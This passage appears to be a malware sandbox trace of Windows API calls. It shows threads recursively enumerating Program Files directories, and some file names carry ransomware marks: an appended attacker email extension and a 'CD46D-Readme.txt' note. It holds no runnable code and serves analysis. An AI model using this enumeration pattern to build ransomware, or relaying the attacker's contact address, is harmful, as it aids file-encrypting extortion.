cAlternateFileName="CONSTR~1.EXE")) returned 0 [0141.322] FindClose (in: hFindFile=0x941fb0 | out: hFindFile=0x941fb0) returned 1 [0141.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fdf38) returned 1 [0141.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0141.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0d48) returned 1 Thread: id = 1646 os_tid = 0x774 [0139.628] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8fec48 [0139.628] wcscpy (in: _Dest=0x8fec48, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0139.628] wcscat (in: _Dest=0x8fec48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\" [0139.628] wcscat (in: _Dest=0x8fec48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\*" [0139.628] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fe5c8 [0139.628] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x8fe5c8 | out: lpFindFileData=0x8fe5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0140.671] wcscmp (_String1=".", _String2=".") returned 0 [0140.671] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x8fe5c8 | out: lpFindFileData=0x8fe5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.672] wcscmp (_String1="..", _String2=".") returned 1 [0140.672] wcscmp (_String1="..", _String2="..") returned 0 [0140.672] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x8fe5c8 | out: lpFindFileData=0x8fe5c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bc5b0, ftCreationTime.dwHighDateTime=0x1d563ea, ftLastAccessTime.dwLowDateTime=0x1a89faa0, ftLastAccessTime.dwHighDateTime=0x1d56363, ftLastWriteTime.dwLowDateTime=0x1a89faa0, ftLastWriteTime.dwHighDateTime=0x1d56363, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lime_gives_tub.exe", cAlternateFileName="LIME_G~1.EXE")) returned 1 [0140.672] wcscmp (_String1="lime_gives_tub.exe", _String2=".") returned 1 [0140.672] wcscmp (_String1="lime_gives_tub.exe", _String2="..") returned 1 [0140.672] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x8fe5c8 | out: lpFindFileData=0x8fe5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0140.672] wcscmp (_String1="Office14", _String2=".") returned 1 [0140.672] wcscmp (_String1="Office14", _String2="..") returned 1 [0140.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f18a8 [0140.672] wcscpy (in: _Dest=0x8f18a8, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0140.672] wcscat (in: _Dest=0x8f18a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\" [0140.672] wcscat (in: _Dest=0x8f18a8, _Source="Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0141.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f18a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0141.328] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x8fe5c8 | out: lpFindFileData=0x8fe5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 0 [0141.328] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0141.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fe5c8) returned 1 [0141.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fec48) returned 1 [0141.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3df0) returned 1 Thread: id = 1647 os_tid = 0x690 [0139.629] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0e98 [0139.629] wcscpy (in: _Dest=0x8f0e98, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0139.629] wcscat (in: _Dest=0x8f0e98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0139.629] wcscat (in: _Dest=0x8f0e98, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*" [0139.629] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x903bd0 [0139.629] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x903bd0 | out: lpFindFileData=0x903bd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.327] wcscmp (_String1=".", _String2=".") returned 0 [0140.327] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x903bd0 | out: lpFindFileData=0x903bd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.327] wcscmp (_String1="..", _String2=".") returned 1 [0140.327] wcscmp (_String1="..", _String2="..") returned 0 [0140.327] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x903bd0 | out: lpFindFileData=0x903bd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1 [0140.327] wcscmp (_String1="Common7", _String2=".") returned 1 [0140.327] wcscmp (_String1="Common7", _String2="..") returned 1 [0140.327] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfe00 [0140.327] wcscpy (in: _Dest=0x8cfe00, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0140.327] wcscat (in: _Dest=0x8cfe00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0140.327] wcscat (in: _Dest=0x8cfe00, _Source="Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0140.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8cfe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0140.329] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x903bd0 | out: lpFindFileData=0x903bd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0140.329] wcscmp (_String1="SDK", _String2=".") returned 1 [0140.329] wcscmp (_String1="SDK", _String2="..") returned 1 [0140.329] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8d28 [0140.329] wcscpy (in: _Dest=0x8e8d28, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0140.329] wcscat (in: _Dest=0x8e8d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0140.329] wcscat (in: _Dest=0x8e8d28, _Source="SDK" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0140.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0140.332] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x903bd0 | out: lpFindFileData=0x903bd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0140.332] wcscmp (_String1="VSTA", _String2=".") returned 1 [0140.332] wcscmp (_String1="VSTA", _String2="..") returned 1 [0140.332] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8da0 [0140.332] wcscpy (in: _Dest=0x8e8da0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0140.332] wcscat (in: _Dest=0x8e8da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0140.332] wcscat (in: _Dest=0x8e8da0, _Source="VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0140.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c [0140.335] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x903bd0 | out: lpFindFileData=0x903bd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0140.335] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0140.335] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x903bd0) returned 1 [0140.335] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e98) returned 1 [0140.335] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0db8) returned 1 Thread: id = 1648 os_tid = 0x694 [0139.630] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4058 [0139.630] wcscpy (in: _Dest=0x8e4058, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0139.630] wcscat (in: _Dest=0x8e4058, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0139.630] wcscat (in: _Dest=0x8e4058, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\*" [0139.630] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x904050 [0139.630] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x904050 | out: lpFindFileData=0x904050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.318] wcscmp (_String1=".", _String2=".") returned 0 [0140.318] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x904050 | out: lpFindFileData=0x904050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.318] wcscmp (_String1="..", _String2=".") returned 1 [0140.318] wcscmp (_String1="..", _String2="..") returned 0 [0140.318] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x904050 | out: lpFindFileData=0x904050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0140.318] wcscmp (_String1="Primary Interop Assemblies", _String2=".") returned 1 [0140.318] wcscmp (_String1="Primary Interop Assemblies", _String2="..") returned 1 [0140.318] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7240 [0140.318] wcscpy (in: _Dest=0x8f7240, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0140.318] wcscat (in: _Dest=0x8f7240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0140.318] wcscat (in: _Dest=0x8f7240, _Source="Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0140.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0140.324] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x904050 | out: lpFindFileData=0x904050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa3c3ea20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3c3ea20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0140.324] wcscmp (_String1="RedistList", _String2=".") returned 1 [0140.324] wcscmp (_String1="RedistList", _String2="..") returned 1 [0140.324] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90efc0 [0140.324] wcscpy (in: _Dest=0x90efc0, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0140.324] wcscat (in: _Dest=0x90efc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0140.324] wcscat (in: _Dest=0x90efc0, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0140.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90efc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0140.326] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x904050 | out: lpFindFileData=0x904050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa3c3ea20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3c3ea20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0 [0140.326] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0140.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904050) returned 1 [0140.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4058) returned 1 [0140.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3e48) returned 1 Thread: id = 1649 os_tid = 0x770 [0139.630] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9148 [0139.630] wcscpy (in: _Dest=0x8f9148, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0139.630] wcscat (in: _Dest=0x8f9148, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0139.630] wcscat (in: _Dest=0x8f9148, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\*") returned="C:\\Program Files (x86)\\MSBuild\\*" [0139.630] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9044d0 [0139.631] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x9044d0 | out: lpFindFileData=0x9044d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x99f700e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x99f700e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0140.678] wcscmp (_String1=".", _String2=".") returned 0 [0140.678] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9044d0 | out: lpFindFileData=0x9044d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x99f700e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x99f700e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.678] wcscmp (_String1="..", _String2=".") returned 1 [0140.678] wcscmp (_String1="..", _String2="..") returned 0 [0140.678] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9044d0 | out: lpFindFileData=0x9044d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99f700e0, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x99f700e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x99f700e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0140.678] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0140.678] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0140.678] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9044d0 | out: lpFindFileData=0x9044d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.678] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0140.678] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0140.678] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8ff428 [0140.678] wcscpy (in: _Dest=0x8ff428, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0140.678] wcscat (in: _Dest=0x8ff428, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0140.678] wcscat (in: _Dest=0x8ff428, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0141.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0141.333] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9044d0 | out: lpFindFileData=0x9044d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MICROS~1.CD4")) returned 1 [0141.333] wcscmp (_String1="Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0141.333] wcscmp (_String1="Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0141.333] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x9044d0 | out: lpFindFileData=0x9044d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MICROS~1.CD4")) returned 0 [0141.333] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0141.334] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9044d0) returned 1 [0141.334] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9148) returned 1 [0141.334] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d25d8) returned 1 Thread: id = 1650 os_tid = 0x77c [0139.631] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x8fea48 [0139.631] wcscpy (in: _Dest=0x8fea48, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0139.631] wcscat (in: _Dest=0x8fea48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\" [0139.631] wcscat (in: _Dest=0x8fea48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\*" [0139.631] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x904950 [0139.631] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x904950 | out: lpFindFileData=0x904950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, 